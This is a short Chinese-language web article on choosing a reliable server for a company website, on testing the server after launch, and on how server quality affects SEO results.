
优秀服务器的选择

许多的企业在进行网站建设时，对于服务器的选择多半选择了能省就省的原则，殊不知，最不应该节省的便是网站的服务器，要知道网站的服务器是整个网站运营的关键，所有与网站运营相关的数据都会保存在网站的服务器。

对于企业网站建设在建设初期就要考虑到服务器与网站的影响，应该尽量的选择资质好，规模大以及信誉高的公司，通常这种公司的报价或许要高一些，但是这些优秀的服务器更加能够保证服务器在网站的运营过程中的稳定性，而且在后续的网站运营过程中，如果想要完成对网站的升级，那么服务器的重要性便显现出来了。

服务器的测试功能

网站在建设完成之后，便要进行全面的测试，网站测试的过程中要对网站的各个功能以及网站的服务器都要完成测试，而对于这种测试无法短昌时间内无法将服务器的缺陷显示出来。

SEO优化的硬件

网站在建设完成之后，完成网站的测试之后，便会正常投入到日常的运营之中，而在面对繁重的运营过程之中，对于网站的日常维护是非常重要的，而如果想要让网站在运营过程中更加畅通，对于网站的SEO优化就显得特别的重要了。

而对于SEO优化来讲，想要显示出更好的优化效果，网站的服务器的好坏是非常重要的，只有服务器好，才能将SEO优化的效果更好的显示出来。